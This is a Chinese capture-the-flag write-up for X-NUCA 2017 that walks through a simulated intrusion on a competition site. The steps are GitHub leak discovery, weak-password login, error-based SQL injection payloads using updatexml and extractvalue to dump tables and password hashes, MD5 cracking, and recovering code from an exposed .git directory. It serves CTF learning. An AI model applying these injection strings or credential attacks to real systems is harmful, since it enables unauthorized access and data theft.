X-NUCA 2017第三期 WriteUp

我个人感觉这次题目质量是可以的,很模拟现实渗透场景,从外网到内网到域控,到达一定阶段给个flag

但是也有吐槽的点,主办方给8个小时,一共有12个关卡,到比赛结束,解题数量最多是5道题,到后面主办方急了,后面很多关还没有人做出来,然后主办方就疯狂给tip,类似于直接告诉你答案。。。很无语

前期信息收集

扫描+手工,整理链接

http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/home/index.php /home/about.php?id=1 /home/about.php?id=2 /home/services.php /home/portfolio.php /home/pricing.php /home/contact.php /home/administrator/ /home/administrator/index.php?action=login /home/administrator/inc/config.php /manager/ /manager/index.php /manager/inc/config.php /user/ /user/index.php /user/upload/

IP无法直接访问网站,应该是根据域名控制,扫描的是主机信息,与该web题联系不大

翻翻js发现敏感信息

上github搜用户名

https://github.com/l1Kai/user/

得到config.php的源码,以及第一个flag

运行试试,得到数据的解密方式

发现是调用eval运行的,看看到底运行了什么东西

运行得到,eval中运行的东西,也就是config.php的源码

该源码对后面解题没什么帮助

继续看github的commit记录

用同样的方式解密其余的config.php,得到第二个flag

这里的PRO_KEY对后面解题有帮助

社工+弱口令

github泄露了邮箱

在其中一个后台 http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/user/index.php 用邮箱 likai@youngin.uu.me 密码 likai

成功登陆,拿到第三个flag

然后在工作选项中有一个可以更新项目的点,这里就需要之前的PRO_KEY

username存在报错注入

'or(updatexml(2,concat(0x7e,(user())),0))or'

'or(linestring(proname))or'

得到当前库名,表名,列名

把已知列的内容显示出来

'or(updatexml(2,concat(0x7e,(select(group_concat(proname))from(kvm1.m_notice))),0))or'

'or(updatexml(2,concat(0x7e,(select(group_concat(username))from(kvm1.m_notice))),0))or'

'or(updatexml(2,concat(0x7e,(select(group_concat(content))from(kvm1.m_notice))),0))or'

感觉怪怪的,什么乱七八糟的东西

莫非flag在别的表?报错得到m_admin,m_user,m_notice,u_user 四个表

'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(table_name))from%0ainformation_schema.tables%0awhere%0atable_schema=database())),1))or'

'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(column_name))from%0ainformation_schema.columns%0awhere%0atable_name='m_admin')),1))or'

最后发现flag在m_user表,但是报错注入一次只能显示32位,这里用substr()函数分两次显示

likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),1))from(m_user)))))or'

likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),15))from(m_user)))))or'

拼接得到第4个flag

flag{022f3f7f-a212-4456-b8c5-ce67ae9c2b83}

这次比赛由于时间和能力原因,只做出4道题

赛后交流,得知第5个flag是在m_admin表里面得到管理员的账号密码

wangfei 2389pass 安全码

登陆另一个后台得到第5个flag

第6个flag,还没人解出来,好像是文件上传+文件包含,毕竟时间有限

总结,以后打CTF的前一天晚上一定要早睡,23333

下为第五题补充(来自于 Pr0ph3t):

上一步拿到了m_admin的账号密码

其中有个用户叫wangfei 密码网上md5碰撞得到2389pass

admin的密码无法md5碰撞

然后去扫目录得到的manager目录登录发现还要安全码。。。

无奈再扫一遍目录发现.git存在

但是却没有index无法扒源码下来

但是.git进去之后却有index.html提示有objects/xxx

用过git的我们都知道其实objects就是每次add commit的代码片段

这是利用zlib的deflate压缩的https://ring0.me/2015/05/recover-code-from-corrupt-git-repo/

下载下来这个objects之后直接binwalk就可以识别并解压缩了解压缩出来之后是安全码,这里有坑。。。

我踩了好久。。。。

这个安全码是不用碰撞md5的。。。

以至于我碰撞完之后一直拿来登录都没用。。。

直接扔进去登录就行

最后一个flag没有记录。。。临近比赛结束。。。一刷新就没有了。。。

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2017-11-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏程序员的SOD蜜

“设计应对变化”--实例讲解一个数据同步系统

 系列文章索引: [WCF邮件通信系统应用 之 数据同步程序 之 设计内幕 之 一] 同步一个数据库要发多少个数据包? [WCF邮件通信系统应用 之 数据同步...

27670
来自专栏AhDung

【手记】调用Process.EnterDebugMode引发异常:并非所有引用的特权或组都分配给呼叫方

刚上线一个新版本,其中有台电脑打开软件就报【xx的类型初始值设定项引发异常】(还好不是一大波电脑,新东西上线就怕哀鸿遍野),如图:

20520
来自专栏nnngu

通俗易懂的分析如何用Python实现一只小爬虫,爬取拉勾网的职位信息

源代码:https://github.com/nnngu/LagouSpider

56460
来自专栏非典型程序猿

Elasticsearch数据更新全方位解析

前段时间在项目的crm存储部分,为了满足大量自定义的搜索功能,选择了使用了ES作为后端存储介质。

3.3K120
来自专栏小詹同学

Python | 开发者必备的 6 个库

链接:https://www.oschina.net/translate/6-essential-libraries-for-every-python-deve...

46930
来自专栏FreeBuf

工业控制系统安全之——Modbus学习笔记

O、术语 1 word =2 byte; 1 byte =8 bit. 校验码:校验码是由前面的数据通过某种算法得出的,用以检验该组数据的正确性。代码作为数据在...

924100
来自专栏张善友的专栏

使用 ASP.NET Web API 构建超媒体 Web API

超媒体(通常称为应用程序状态的引擎 (HATEOAS))是具象状态传输 (REST) 的主要限制之一。有一种观念认为超媒体项目(如链接或表单)可用于说明客户端如...

30250
来自专栏cloudskyme

jbpm5.1介绍(4)

eclipse插件 需求 Eclipse的3.6或更新版本 Graphiti框架,使用更新站点 可以直接下载更新Graphiti http://downloa...

36760
来自专栏Python专栏

Python | 开发者必备的 6 个库

链接:https://www.oschina.net/translate/6-essential-libraries-for-every-python-deve...

29630
来自专栏日常学python

python使用requests+re简单入门爬虫

在学习了python基础后,一心想着快速入门爬虫,因为我就是为爬虫而学的python,所以就找了这个豆瓣电影来爬取。好了,废话不多说,进入正题 1.找到网页并分...

401110

扫码关注云+社区

领取腾讯云代金券